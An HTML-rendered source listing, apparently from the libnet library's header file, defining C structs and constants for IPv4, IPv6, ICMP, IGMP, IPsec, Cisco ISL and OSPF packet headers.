+00674 <span class="preprocessor"></span><span class="preprocessor">#define IP_RF 0x8000 </span><span class="comment">/* reserved fragment flag */</span>
+00675 <span class="preprocessor">#endif</span>
+00676 <span class="preprocessor"></span><span class="preprocessor">#ifndef IP_DF</span>
+00677 <span class="preprocessor"></span><span class="preprocessor">#define IP_DF 0x4000 </span><span class="comment">/* dont fragment flag */</span>
+00678 <span class="preprocessor">#endif</span>
+00679 <span class="preprocessor"></span><span class="preprocessor">#ifndef IP_MF</span>
+00680 <span class="preprocessor"></span><span class="preprocessor">#define IP_MF 0x2000 </span><span class="comment">/* more fragments flag */</span>
+00681 <span class="preprocessor">#endif </span>
+00682 <span class="preprocessor"></span><span class="preprocessor">#ifndef IP_OFFMASK</span>
+00683 <span class="preprocessor"></span><span class="preprocessor">#define IP_OFFMASK 0x1fff </span><span class="comment">/* mask for fragmenting bits */</span>
+00684 <span class="preprocessor">#endif</span>
+00685 <span class="preprocessor"></span> u_int8_t ip_ttl; <span class="comment">/* time to live */</span>
+00686 u_int8_t ip_p; <span class="comment">/* protocol */</span>
+00687 u_int16_t ip_sum; <span class="comment">/* checksum */</span>
+00688 <span class="keyword">struct </span>in_addr ip_src, ip_dst; <span class="comment">/* source and dest address */</span>
+00689 };
+00690
+00691 <span class="comment">/*</span>
+00692 <span class="comment"> * IP options</span>
+00693 <span class="comment"> */</span>
+00694 <span class="preprocessor">#ifndef IPOPT_EOL</span>
+00695 <span class="preprocessor"></span><span class="preprocessor">#define IPOPT_EOL 0 </span><span class="comment">/* end of option list */</span>
+00696 <span class="preprocessor">#endif</span>
+00697 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPOPT_NOP</span>
+00698 <span class="preprocessor"></span><span class="preprocessor">#define IPOPT_NOP 1 </span><span class="comment">/* no operation */</span>
+00699 <span class="preprocessor">#endif </span>
+00700 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPOPT_RR</span>
+00701 <span class="preprocessor"></span><span class="preprocessor">#define IPOPT_RR 7 </span><span class="comment">/* record packet route */</span>
+00702 <span class="preprocessor">#endif</span>
+00703 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPOPT_TS</span>
+00704 <span class="preprocessor"></span><span class="preprocessor">#define IPOPT_TS 68 </span><span class="comment">/* timestamp */</span>
+00705 <span class="preprocessor">#endif</span>
+00706 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPOPT_SECURITY</span>
+00707 <span class="preprocessor"></span><span class="preprocessor">#define IPOPT_SECURITY 130 </span><span class="comment">/* provide s,c,h,tcc */</span>
+00708 <span class="preprocessor">#endif</span>
+00709 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPOPT_LSRR</span>
+00710 <span class="preprocessor"></span><span class="preprocessor">#define IPOPT_LSRR 131 </span><span class="comment">/* loose source route */</span>
+00711 <span class="preprocessor">#endif</span>
+00712 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPOPT_SATID</span>
+00713 <span class="preprocessor"></span><span class="preprocessor">#define IPOPT_SATID 136 </span><span class="comment">/* satnet id */</span>
+00714 <span class="preprocessor">#endif</span>
+00715 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPOPT_SSRR</span>
+00716 <span class="preprocessor"></span><span class="preprocessor">#define IPOPT_SSRR 137 </span><span class="comment">/* strict source route */</span>
+00717 <span class="preprocessor">#endif</span>
+00718 <span class="preprocessor"></span>
+00719 <span class="keyword">struct </span>libnet_in6_addr
+00720 {
+00721 <span class="keyword">union</span>
+00722 <span class="keyword"> </span>{
+00723 u_int8_t __u6_addr8[16];
+00724 u_int16_t __u6_addr16[8];
+00725 u_int32_t __u6_addr32[4];
+00726 } __u6_addr; <span class="comment">/* 128-bit IP6 address */</span>
+00727 };
+00728 <span class="preprocessor">#define libnet_s6_addr __u6_addr.__u6_addr8</span>
+00729 <span class="preprocessor"></span>
+00730 <span class="comment">/*</span>
+00731 <span class="comment"> * IPv6 header</span>
+00732 <span class="comment"> * Internet Protocol, version 6</span>
+00733 <span class="comment"> * Static header size: 40 bytes</span>
+00734 <span class="comment"> */</span>
+00735 <span class="keyword">struct </span>libnet_ipv6_hdr
+00736 {
+00737 u_int8_t ip_flags[4]; <span class="comment">/* version, traffic class, flow label */</span>
+00738 u_int16_t ip_len; <span class="comment">/* total length */</span>
+00739 u_int8_t ip_nh; <span class="comment">/* next header */</span>
+00740 u_int8_t ip_hl; <span class="comment">/* hop limit */</span>
+00741 <span class="keyword">struct </span>libnet_in6_addr ip_src, ip_dst; <span class="comment">/* source and dest address */</span>
+00742
+00743 };
+00744
+00745 <span class="comment">/*</span>
+00746 <span class="comment"> * IPv6 frag header</span>
+00747 <span class="comment"> * Internet Protocol, version 6</span>
+00748 <span class="comment"> * Static header size: 8 bytes</span>
+00749 <span class="comment"> */</span>
+00750 <span class="preprocessor">#define LIBNET_IPV6_NH_FRAGMENT 44</span>
+00751 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_ipv6_frag_hdr
+00752 {
+00753 u_int8_t ip_nh; <span class="comment">/* next header */</span>
+00754 u_int8_t ip_reserved; <span class="comment">/* reserved */</span>
+00755 u_int16_t ip_frag; <span class="comment">/* fragmentation stuff */</span>
+00756 u_int32_t ip_id; <span class="comment">/* id */</span>
+00757 };
+00758
+00759 <span class="comment">/*</span>
+00760 <span class="comment"> * IPv6 routing header</span>
+00761 <span class="comment"> * Internet Protocol, version 6</span>
+00762 <span class="comment"> * Base header size: 4 bytes</span>
+00763 <span class="comment"> */</span>
+00764 <span class="preprocessor">#define LIBNET_IPV6_NH_ROUTING 43</span>
+00765 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_ipv6_routing_hdr
+00766 {
+00767 u_int8_t ip_nh; <span class="comment">/* next header */</span>
+00768 u_int8_t ip_len; <span class="comment">/* length of header in 8 octet units (sans 1st) */</span>
+00769 u_int8_t ip_rtype; <span class="comment">/* routing type */</span>
+00770 u_int8_t ip_segments; <span class="comment">/* segments left */</span>
+00771 <span class="comment">/* routing information allocated dynamically */</span>
+00772 };
+00773
+00774 <span class="comment">/*</span>
+00775 <span class="comment"> * IPv6 destination options header</span>
+00776 <span class="comment"> * Internet Protocol, version 6</span>
+00777 <span class="comment"> * Base header size: 2 bytes</span>
+00778 <span class="comment"> */</span>
+00779 <span class="preprocessor">#define LIBNET_IPV6_NH_DESTOPTS 60</span>
+00780 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_ipv6_destopts_hdr
+00781 {
+00782 u_int8_t ip_nh; <span class="comment">/* next header */</span>
+00783 u_int8_t ip_len; <span class="comment">/* length of header in 8 octet units (sans 1st) */</span>
+00784 <span class="comment">/* destination options information allocated dynamically */</span>
+00785 };
+00786
+00787 <span class="comment">/*</span>
+00788 <span class="comment"> * IPv6 hop by hop options header</span>
+00789 <span class="comment"> * Internet Protocol, version 6</span>
+00790 <span class="comment"> * Base header size: 2 bytes</span>
+00791 <span class="comment"> */</span>
+00792 <span class="preprocessor">#define LIBNET_IPV6_NH_HBH 0</span>
+00793 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_ipv6_hbhopts_hdr
+00794 {
+00795 u_int8_t ip_nh; <span class="comment">/* next header */</span>
+00796 u_int8_t ip_len; <span class="comment">/* length of header in 8 octet units (sans 1st) */</span>
+00797 <span class="comment">/* destination options information allocated dynamically */</span>
+00798 };
+00799
+00800 <span class="comment">/*</span>
+00801 <span class="comment"> * ICMP6 header</span>
+00802 <span class="comment"> * Internet Control Message Protocol v6</span>
+00803 <span class="comment"> * Base header size: 8 bytes</span>
+00804 <span class="comment"> */</span>
+00805 <span class="preprocessor">#ifndef IPPROTO_ICMP6</span>
+00806 <span class="preprocessor"></span><span class="preprocessor">#define IPPROTO_ICMP6 0x3a</span>
+00807 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00808 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_icmpv6_hdr
+00809 {
+00810 u_int8_t icmp_type; <span class="comment">/* ICMP type */</span>
+00811 <span class="preprocessor">#ifndef ICMP6_ECHO</span>
+00812 <span class="preprocessor"></span><span class="preprocessor">#define ICMP6_ECHO 128</span>
+00813 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00814 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP6_ECHOREPLY</span>
+00815 <span class="preprocessor"></span><span class="preprocessor">#define ICMP6_ECHOREPLY 129</span>
+00816 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00817 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP6_UNREACH</span>
+00818 <span class="preprocessor"></span><span class="preprocessor">#define ICMP6_UNREACH 1</span>
+00819 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00820 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP6_PKTTOOBIG</span>
+00821 <span class="preprocessor"></span><span class="preprocessor">#define ICMP6_PKTTOOBIG 2</span>
+00822 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00823 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP6_TIMXCEED</span>
+00824 <span class="preprocessor"></span><span class="preprocessor">#define ICMP6_TIMXCEED 3</span>
+00825 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00826 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP6_PARAMPROB</span>
+00827 <span class="preprocessor"></span><span class="preprocessor">#define ICMP6_PARAMPROB 4</span>
+00828 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00829 <span class="preprocessor"></span> u_int8_t icmp_code; <span class="comment">/* ICMP code */</span>
+00830 u_int16_t icmp_sum; <span class="comment">/* ICMP Checksum */</span>
+00831 u_int16_t id; <span class="comment">/* ICMP id */</span>
+00832 u_int16_t seq; <span class="comment">/* ICMP sequence number */</span>
+00833 };
+00834
+00835
+00836
+00837 <span class="comment">/*</span>
+00838 <span class="comment"> * ICMP header</span>
+00839 <span class="comment"> * Internet Control Message Protocol</span>
+00840 <span class="comment"> * Base header size: 4 bytes</span>
+00841 <span class="comment"> */</span>
+00842 <span class="keyword">struct </span>libnet_icmpv4_hdr
+00843 {
+00844 u_int8_t icmp_type; <span class="comment">/* ICMP type */</span>
+00845 <span class="preprocessor">#ifndef ICMP_ECHOREPLY</span>
+00846 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_ECHOREPLY 0</span>
+00847 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00848 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH</span>
+00849 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH 3</span>
+00850 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00851 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_SOURCEQUENCH</span>
+00852 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_SOURCEQUENCH 4</span>
+00853 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00854 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_REDIRECT</span>
+00855 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_REDIRECT 5</span>
+00856 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00857 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_ECHO</span>
+00858 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_ECHO 8</span>
+00859 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00860 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_ROUTERADVERT</span>
+00861 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_ROUTERADVERT 9</span>
+00862 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00863 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_ROUTERSOLICIT</span>
+00864 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_ROUTERSOLICIT 10</span>
+00865 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00866 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_TIMXCEED</span>
+00867 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_TIMXCEED 11</span>
+00868 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00869 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_PARAMPROB</span>
+00870 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_PARAMPROB 12</span>
+00871 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00872 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_TSTAMP</span>
+00873 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_TSTAMP 13</span>
+00874 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00875 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_TSTAMPREPLY</span>
+00876 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_TSTAMPREPLY 14</span>
+00877 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00878 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_IREQ</span>
+00879 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_IREQ 15</span>
+00880 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00881 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_IREQREPLY</span>
+00882 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_IREQREPLY 16</span>
+00883 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00884 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_MASKREQ</span>
+00885 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_MASKREQ 17</span>
+00886 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00887 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_MASKREPLY</span>
+00888 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_MASKREPLY 18</span>
+00889 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00890 <span class="preprocessor"></span> u_int8_t icmp_code; <span class="comment">/* ICMP code */</span>
+00891 <span class="preprocessor">#ifndef ICMP_UNREACH_NET</span>
+00892 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_NET 0</span>
+00893 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00894 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_HOST</span>
+00895 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_HOST 1</span>
+00896 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00897 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_PROTOCOL</span>
+00898 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_PROTOCOL 2</span>
+00899 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00900 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_PORT</span>
+00901 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_PORT 3</span>
+00902 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00903 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_NEEDFRAG</span>
+00904 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_NEEDFRAG 4</span>
+00905 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00906 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_SRCFAIL</span>
+00907 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_SRCFAIL 5</span>
+00908 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00909 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_NET_UNKNOWN</span>
+00910 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_NET_UNKNOWN 6</span>
+00911 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00912 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_HOST_UNKNOWN</span>
+00913 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_HOST_UNKNOWN 7</span>
+00914 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00915 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_ISOLATED</span>
+00916 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_ISOLATED 8</span>
+00917 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00918 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_NET_PROHIB</span>
+00919 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_NET_PROHIB 9</span>
+00920 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00921 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_HOST_PROHIB</span>
+00922 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_HOST_PROHIB 10</span>
+00923 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00924 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_TOSNET</span>
+00925 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_TOSNET 11</span>
+00926 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00927 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_TOSHOST</span>
+00928 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_TOSHOST 12</span>
+00929 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00930 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_FILTER_PROHIB</span>
+00931 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_FILTER_PROHIB 13</span>
+00932 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00933 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_HOST_PRECEDENCE</span>
+00934 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_HOST_PRECEDENCE 14</span>
+00935 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00936 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_UNREACH_PRECEDENCE_CUTOFF</span>
+00937 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_UNREACH_PRECEDENCE_CUTOFF 15</span>
+00938 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00939 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_REDIRECT_NET</span>
+00940 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_REDIRECT_NET 0</span>
+00941 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00942 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_REDIRECT_HOST</span>
+00943 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_REDIRECT_HOST 1</span>
+00944 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00945 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_REDIRECT_TOSNET</span>
+00946 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_REDIRECT_TOSNET 2</span>
+00947 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00948 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_REDIRECT_TOSHOST</span>
+00949 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_REDIRECT_TOSHOST 3</span>
+00950 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00951 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_TIMXCEED_INTRANS</span>
+00952 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_TIMXCEED_INTRANS 0</span>
+00953 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00954 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_TIMXCEED_REASS</span>
+00955 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_TIMXCEED_REASS 1</span>
+00956 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00957 <span class="preprocessor"></span><span class="preprocessor">#ifndef ICMP_PARAMPROB_OPTABSENT</span>
+00958 <span class="preprocessor"></span><span class="preprocessor">#define ICMP_PARAMPROB_OPTABSENT 1</span>
+00959 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00960 <span class="preprocessor"></span>
+00961 u_int16_t icmp_sum; <span class="comment">/* ICMP Checksum */</span>
+00962
+00963 <span class="keyword">union</span>
+00964 <span class="keyword"> </span>{
+00965 <span class="keyword">struct</span>
+00966 <span class="keyword"> </span>{
+00967 u_int16_t id; <span class="comment">/* ICMP id */</span>
+00968 u_int16_t seq;<span class="comment">/* ICMP sequence number */</span>
+00969 } echo;
+00970
+00971 <span class="preprocessor">#undef icmp_id</span>
+00972 <span class="preprocessor"></span><span class="preprocessor">#undef icmp_seq</span>
+00973 <span class="preprocessor"></span><span class="preprocessor">#define icmp_id hun.echo.id</span>
+00974 <span class="preprocessor"></span><span class="preprocessor">#define icmp_seq hun.echo.seq</span>
+00975 <span class="preprocessor"></span>
+00976 u_int32_t gateway; <span class="comment">/* gateway host */</span>
+00977 <span class="keyword">struct</span>
+00978 <span class="keyword"> </span>{
+00979 u_int16_t pad;<span class="comment">/* padding */</span>
+00980 u_int16_t mtu;<span class="comment">/* MTU size */</span>
+00981 } frag;
+00982 } hun;
+00983 <span class="keyword">union</span>
+00984 <span class="keyword"> </span>{
+00985 <span class="keyword">struct</span>
+00986 <span class="keyword"> </span>{
+00987 n_time its_otime;
+00988 n_time its_rtime;
+00989 n_time its_ttime;
+00990 } ts;
+00991 <span class="keyword">struct</span>
+00992 <span class="keyword"> </span>{
+00993 <span class="keyword">struct </span>libnet_ipv4_hdr idi_ip;
+00994 <span class="comment">/* options and then 64 bits of data */</span>
+00995 } ip;
+00996 u_int32_t mask;
+00997 int8_t data[1];
+00998
+00999 <span class="preprocessor">#undef icmp_mask</span>
+01000 <span class="preprocessor"></span><span class="preprocessor">#define icmp_mask dun.mask</span>
+01001 <span class="preprocessor"></span><span class="preprocessor">#undef icmp_data</span>
+01002 <span class="preprocessor"></span><span class="preprocessor">#define icmp_data dun.data</span>
+01003 <span class="preprocessor"></span>
+01004 <span class="preprocessor">#undef icmp_otime</span>
+01005 <span class="preprocessor"></span><span class="preprocessor">#define icmp_otime dun.ts.its_otime</span>
+01006 <span class="preprocessor"></span><span class="preprocessor">#undef icmp_rtime</span>
+01007 <span class="preprocessor"></span><span class="preprocessor">#define icmp_rtime dun.ts.its_rtime</span>
+01008 <span class="preprocessor"></span><span class="preprocessor">#undef icmp_ttime</span>
+01009 <span class="preprocessor"></span><span class="preprocessor">#define icmp_ttime dun.ts.its_ttime</span>
+01010 <span class="preprocessor"></span> }dun;
+01011 };
+01012
+01013
+01014 <span class="comment">/*</span>
+01015 <span class="comment"> * IGMP header</span>
+01016 <span class="comment"> * Internet Group Message Protocol</span>
+01017 <span class="comment"> * Static header size: 8 bytes</span>
+01018 <span class="comment"> */</span>
+01019 <span class="keyword">struct </span>libnet_igmp_hdr
+01020 {
+01021 u_int8_t igmp_type; <span class="comment">/* IGMP type */</span>
+01022 <span class="preprocessor">#ifndef IGMP_MEMBERSHIP_QUERY</span>
+01023 <span class="preprocessor"></span><span class="preprocessor">#define IGMP_MEMBERSHIP_QUERY 0x11 </span><span class="comment">/* membership query */</span>
+01024 <span class="preprocessor">#endif</span>
+01025 <span class="preprocessor"></span><span class="preprocessor">#ifndef IGMP_V1_MEMBERSHIP_REPORT</span>
+01026 <span class="preprocessor"></span><span class="preprocessor">#define IGMP_V1_MEMBERSHIP_REPORT 0x12 </span><span class="comment">/* Ver. 1 membership report */</span>
+01027 <span class="preprocessor">#endif</span>
+01028 <span class="preprocessor"></span><span class="preprocessor">#ifndef IGMP_V2_MEMBERSHIP_REPORT</span>
+01029 <span class="preprocessor"></span><span class="preprocessor">#define IGMP_V2_MEMBERSHIP_REPORT 0x16 </span><span class="comment">/* Ver. 2 membership report */</span>
+01030 <span class="preprocessor">#endif</span>
+01031 <span class="preprocessor"></span><span class="preprocessor">#ifndef IGMP_LEAVE_GROUP</span>
+01032 <span class="preprocessor"></span><span class="preprocessor">#define IGMP_LEAVE_GROUP 0x17 </span><span class="comment">/* Leave-group message */</span>
+01033 <span class="preprocessor">#endif</span>
+01034 <span class="preprocessor"></span> u_int8_t igmp_code; <span class="comment">/* IGMP code */</span>
+01035 u_int16_t igmp_sum; <span class="comment">/* IGMP checksum */</span>
+01036 <span class="keyword">struct </span>in_addr igmp_group;<span class="comment">/* IGMP host IP */</span>
+01037 };
+01038
+01039
+01040 <span class="comment">/*</span>
+01041 <span class="comment"> * IPSEC header</span>
+01042 <span class="comment"> * Internet Protocol Security Protocol</span>
+01043 <span class="comment"> * Encapsulating Security Payload Header Static header size: 12 bytes</span>
+01044 <span class="comment"> * Encapsulating Security Payload Footer Base header size: 2 bytes</span>
+01045 <span class="comment"> * Authentication Header Static Size: 16 bytes</span>
+01046 <span class="comment"> */</span>
+01047 <span class="preprocessor">#ifndef IPPROTO_ESP</span>
+01048 <span class="preprocessor"></span><span class="preprocessor">#define IPPROTO_ESP 50 </span><span class="comment">/* not everyone's got this */</span>
+01049 <span class="preprocessor">#endif</span>
+01050 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_esp_hdr
+01051 {
+01052 u_int32_t esp_spi; <span class="comment">/* security parameter index */</span>
+01053 u_int32_t esp_seq; <span class="comment">/* ESP sequence number */</span>
+01054 u_int32_t esp_iv; <span class="comment">/* initialization vector */</span>
+01055 };
+01056
+01057 <span class="keyword">struct </span>libnet_esp_ftr
+01058 {
+01059 u_int8_t esp_pad_len; <span class="comment">/* padding length */</span>
+01060 u_int8_t esp_nh; <span class="comment">/* next header pointer */</span>
+01061 int8_t *esp_auth; <span class="comment">/* authentication data */</span>
+01062 };
+01063
+01064 <span class="preprocessor">#ifndef IPPROTO_AH</span>
+01065 <span class="preprocessor"></span><span class="preprocessor">#define IPPROTO_AH 51 </span><span class="comment">/* not everyone's got this */</span>
+01066 <span class="preprocessor">#endif</span>
+01067 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_ah_hdr
+01068 {
+01069 u_int8_t ah_nh; <span class="comment">/* next header */</span>
+01070 u_int8_t ah_len; <span class="comment">/* payload length */</span>
+01071 u_int16_t ah_res; <span class="comment">/* reserved */</span>
+01072 u_int32_t ah_spi; <span class="comment">/* security parameter index */</span>
+01073 u_int32_t ah_seq; <span class="comment">/* AH sequence number */</span>
+01074 u_int32_t ah_auth; <span class="comment">/* authentication data */</span>
+01075 };
+01076
+01077
+01078 <span class="comment">/*</span>
+01079 <span class="comment"> * ISL header</span>
+01080 <span class="comment"> * Cisco Inter-Switch Link</span>
+01081 <span class="comment"> * Static header size: 26 bytes</span>
+01082 <span class="comment"> */</span>
+01083 <span class="comment">/*</span>
+01084 <span class="comment"> * For checksum stuff -- IANA says 135-254 is "unassigned" as of 12.2001.</span>
+01085 <span class="comment"> * Let's hope this one stays that way for a while!</span>
+01086 <span class="comment"> */</span>
+01087 <span class="preprocessor">#define LIBNET_PROTO_ISL 201</span>
+01088 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_isl_hdr
+01089 {
+01090 u_int8_t isl_dhost[5]; <span class="comment">/* destination address "01:00:0c:00:00" */</span>
+01091 <span class="preprocessor">#if (LIBNET_LIL_ENDIAN)</span>
+01092 <span class="preprocessor"></span> u_int8_t isl_type:4, <span class="comment">/* type of frame */</span>
+01093 isl_user:4; <span class="comment">/* user defined bits */</span>
+01094 <span class="preprocessor">#endif</span>
+01095 <span class="preprocessor"></span><span class="preprocessor">#if (LIBNET_BIG_ENDIAN)</span>
+01096 <span class="preprocessor"></span> u_int8_t isl_user:4, <span class="comment">/* user defined bits */</span>
+01097 isl_type:4; <span class="comment">/* type of frame */</span>
+01098 <span class="preprocessor">#endif</span>
+01099 <span class="preprocessor"></span> u_int8_t isl_shost[6]; <span class="comment">/* source address */</span>
+01100 u_int16_t isl_len; <span class="comment">/* total length of packet - 18 bytes */</span>
+01101 u_int8_t isl_snap[6]; <span class="comment">/* 0xaaaa03 + vendor code */</span>
+01102 u_int16_t isl_vid; <span class="comment">/* 15 bit VLAN ID, 1 bit BPDU / CDP indicator */</span>
+01103 u_int16_t isl_index; <span class="comment">/* port index */</span>
+01104 u_int16_t isl_reserved; <span class="comment">/* used for FDDI and token ring */</span>
+01105 <span class="comment">/* ethernet frame and 4 byte isl crc */</span>
+01106 };
+01107
+01108 <span class="preprocessor">#ifndef IPPROTO_OSPF</span>
+01109 <span class="preprocessor"></span><span class="preprocessor">#define IPPROTO_OSPF 89 </span><span class="comment">/* not everyone's got this */</span>
+01110 <span class="preprocessor">#endif</span>
+01111 <span class="preprocessor"></span><span class="preprocessor">#define IPPROTO_OSPF_LSA 890 </span><span class="comment">/* made this up. Hope it's unused */</span>
+01112 <span class="preprocessor">#define LIBNET_MODX 4102 </span><span class="comment">/* used in LSA checksum */</span>
+01113
+01114 <span class="comment">/*</span>
+01115 <span class="comment"> * Options used in multiple OSPF packets</span>
+01116 <span class="comment"> * More info can be found in section A.2 of RFC 2328.</span>
+01117 <span class="comment"> */</span>
+01118 <span class="preprocessor">#define LIBNET_OPT_EBIT 0x02 </span><span class="comment">/* describes the way AS-external-LSAs are flooded */</span>
+01119 <span class="preprocessor">#define LIBNET_OPT_MCBIT 0x04 </span><span class="comment">/* whether or not IP multicast dgrams are fwdd */</span>
+01120 <span class="preprocessor">#define LIBNET_OPT_NPBIT 0x08 </span><span class="comment">/* describes handling of type-7 LSAs */</span>
+01121 <span class="preprocessor">#define LIBNET_OPT_EABIT 0x10 </span><span class="comment">/* rtr's willingness to send/recv EA-LSAs */</span>
